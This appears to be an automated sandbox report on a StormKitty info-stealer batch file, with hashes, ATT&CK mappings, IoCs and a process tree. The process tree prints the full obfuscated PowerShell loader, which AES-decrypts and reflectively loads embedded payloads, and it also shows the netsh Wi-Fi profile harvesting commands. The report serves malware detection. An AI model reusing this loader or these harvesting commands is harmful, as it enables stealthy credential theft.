stormkitty | 7ad43ccea385b16870b9e2e10d2d25e06149c11e034f9c32ad9e8f538f0c7e6d

General

Target

HDXD.bat
Size

459KB
MD5

67c599f4ef16bb980d3ae40f2157ba29
SHA1

7e13072cacb4b77cb0d2afa222f6ce9005817fa3
SHA256

7ad43ccea385b16870b9e2e10d2d25e06149c11e034f9c32ad9e8f538f0c7e6d
SHA512

fd62651f81686d0548b3ec838da05b050cab0ab4f73d27f8c23cba2ae24f7d66b36ca82e130542a5fb0ce981095047565c4d8bd1d54e957ad058432ef7ab8335
SSDEEP

3072:G6QtAhoJ6Qn7NzvFuJJnoxEzr60Rj2rsrnmpVYtL9pr6T/Ikwu:G6QmhS6Qn7NRyJEErb2rsriube/ITu

Score

10^/10

stormkitty credential_access discovery execution persistence privilege_escalation stealer

Malware Config

Signatures

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/552-18-0x0000027EF9160000-0x0000027EF9190000-memory.dmp	family_stormkitty

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	552	powershell.exe
22	552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
552	powershell.exe

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	powershell.exe
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	powershell.exe
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	powershell.exe
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	powershell.exe
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	powershell.exe
File created	C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4912	cmd.exe
2384	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 4084	3588	cmd.exe	88
PID 3588 wrote to memory of 4084	3588	cmd.exe	88
PID 3588 wrote to memory of 552	3588	cmd.exe	89
PID 3588 wrote to memory of 552	3588	cmd.exe	89
PID 552 wrote to memory of 4912	552	powershell.exe	91
PID 552 wrote to memory of 4912	552	powershell.exe	91
PID 4912 wrote to memory of 1192	4912	cmd.exe	93
PID 4912 wrote to memory of 1192	4912	cmd.exe	93
PID 4912 wrote to memory of 2384	4912	cmd.exe	94
PID 4912 wrote to memory of 2384	4912	cmd.exe	94
PID 4912 wrote to memory of 1548	4912	cmd.exe	95
PID 4912 wrote to memory of 1548	4912	cmd.exe	95
PID 552 wrote to memory of 4260	552	powershell.exe	96
PID 552 wrote to memory of 4260	552	powershell.exe	96
PID 4260 wrote to memory of 2964	4260	cmd.exe	98
PID 4260 wrote to memory of 2964	4260	cmd.exe	98
PID 4260 wrote to memory of 1948	4260	cmd.exe	99
PID 4260 wrote to memory of 1948	4260	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\HDXD.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BucLyXWC3eBPqTlqwBWHaqzBdp5YMwvtNV97mopMNXY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d5Q/MR8+bAZNYeBhtEHKvg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TfkLg=New-Object System.IO.MemoryStream(,$param_var); $aeXst=New-Object System.IO.MemoryStream; $GqJcD=New-Object System.IO.Compression.GZipStream($TfkLg, [IO.Compression.CompressionMode]::Decompress); $GqJcD.CopyTo($aeXst); $GqJcD.Dispose(); $TfkLg.Dispose(); $aeXst.Dispose(); $aeXst.ToArray();}function execute_function($param_var,$param2_var){ $fbLIA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zBkUe=$fbLIA.EntryPoint; $zBkUe.Invoke($null, $param2_var);}$uNtbl = 'C:\Users\Admin\AppData\Local\Temp\HDXD.bat';$host.UI.RawUI.WindowTitle = $uNtbl;$BPGsv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uNtbl).Split([Environment]::NewLine);foreach ($YerDV in $BPGsv) { if ($YerDV.StartsWith('FaEXnaAGZSiWPizwrJnJ')) { $OpSDM=$YerDV.Substring(20); break; }}$payloads_var=[string[]]$OpSDM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1192
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2384
  - - C:\Windows\system32\findstr.exe
      findstr All
      4⤵
      PID:1548
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2964
  - - C:\Windows\system32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gldxyity.z1g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\System\Process.txt

Filesize
2KB

MD5
2ccb86fb2f7559b5641eaf833bf213ed

SHA1
ccfc4bf209faee31804e1851d07001d363bdaa14

SHA256
a4754cf798f3b508cc949e01fb3aa8feedbd74c37fbe0735827f8e3dc4ddca2d

SHA512
7b6ea6388411616cff9983e7218ef3a1f35916f0033dbae947d1117a9e89fa9c9015911956dc6b9f4081b8988c76c507432f31079e3cd22cb7a8563ebb46383c

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\System\Process.txt

Filesize
3KB

MD5
23165335b95257d7a7427861a694e131

SHA1
7bc28643569c7fadb5dacadbec3a4f95f8089c82

SHA256
ee87408ef3aeb403a215ec9de3d051a831ebf5673fd49a7df114de14333ae800

SHA512
f6a3bec7b2d316537a8bccac09e9637160633e9ef739b3be5a70ea40743b1a5e40af58e6d72b6fc4a2e5fbf9579f96b1309ca6f417b7cff57697779aeb8ebb4c

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\System\Process.txt

Filesize
3KB

MD5
5d9ac737555e253a8ed312384f0d5c1d

SHA1
b28c5fab064cae30b05901e0acf0bd0304ae3e4f

SHA256
85fa5dd2af0967150540ff8400fb0762bff9fa3d6b259f503270b206c083fabb

SHA512
3a333e48db8c44448e984ecaa66cd90d9bf09e41672ffa61f8d6092fcb8da26e40539fbdfed2d0837d378fa46a75274ba531cb5d63154c6c4f4bd651a275f12b

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\System\Process.txt

Filesize
4KB

MD5
9a8c3ed5733f085041035022970d857b

SHA1
391ee81646c6441a83e6b863a88ccf1637275f30

SHA256
109a0824a1b0b93c35657ebd1a68cec4458f675000115fe5659936437390bea1

SHA512
8ca8dec696a1320ec9a1f092be30748af1685d5322753f9935c5171303f898c9ab27c1a97b6dbf0633676b04feaa7448b3afaf1edcfef9f7047e3919751195d8

Download Submit
C:\Users\Admin\AppData\Local\fdb0b1a7e115d62cb22424c41468ace6\Admin@HVDPCYGS_en-US\System\Process.txt

Filesize
1KB

MD5
9e516f53336cea4d586ae3d7335b9432

SHA1
b0d6950342e36aa0c716be14b7ee2bb92c5d6909

SHA256
f933287042f918cedf919e66349fbe1f278cd9b5a050d171d95b2f209e18d57d

SHA512
892cf2a25926739fc4ad5334c8e50325e5c5ce028b362cc96d4898fcb4b194dddae2af18dac9466f594477510831b1afffbeb9a815cf4d1a289538472835556d

Download Submit
memory/552-13-0x0000027EF9100000-0x0000027EF9144000-memory.dmp

Filesize
272KB

Download
memory/552-16-0x0000027EF8EC0000-0x0000027EF8EDC000-memory.dmp

Filesize
112KB

Download
memory/552-17-0x00007FF82A5C0000-0x00007FF82B081000-memory.dmp

Filesize
10.8MB

Download
memory/552-18-0x0000027EF9160000-0x0000027EF9190000-memory.dmp

Filesize
192KB

Download
memory/552-15-0x0000027EF8EB0000-0x0000027EF8EB8000-memory.dmp

Filesize
32KB

Download
memory/552-14-0x0000027EF91D0000-0x0000027EF9246000-memory.dmp

Filesize
472KB

Download
memory/552-0-0x00007FF82A5C3000-0x00007FF82A5C5000-memory.dmp

Filesize
8KB

Download
memory/552-12-0x00007FF82A5C0000-0x00007FF82B081000-memory.dmp

Filesize
10.8MB

Download
memory/552-11-0x00007FF82A5C0000-0x00007FF82B081000-memory.dmp

Filesize
10.8MB

Download
memory/552-6-0x0000027EF8D00000-0x0000027EF8D22000-memory.dmp

Filesize
136KB

Download
memory/552-167-0x00007FF82A5C0000-0x00007FF82B081000-memory.dmp

Filesize
10.8MB

Download
memory/552-169-0x0000027EF98A0000-0x0000027EF98B2000-memory.dmp

Filesize
72KB

Download
memory/552-216-0x00007FF82A5C0000-0x00007FF82B081000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads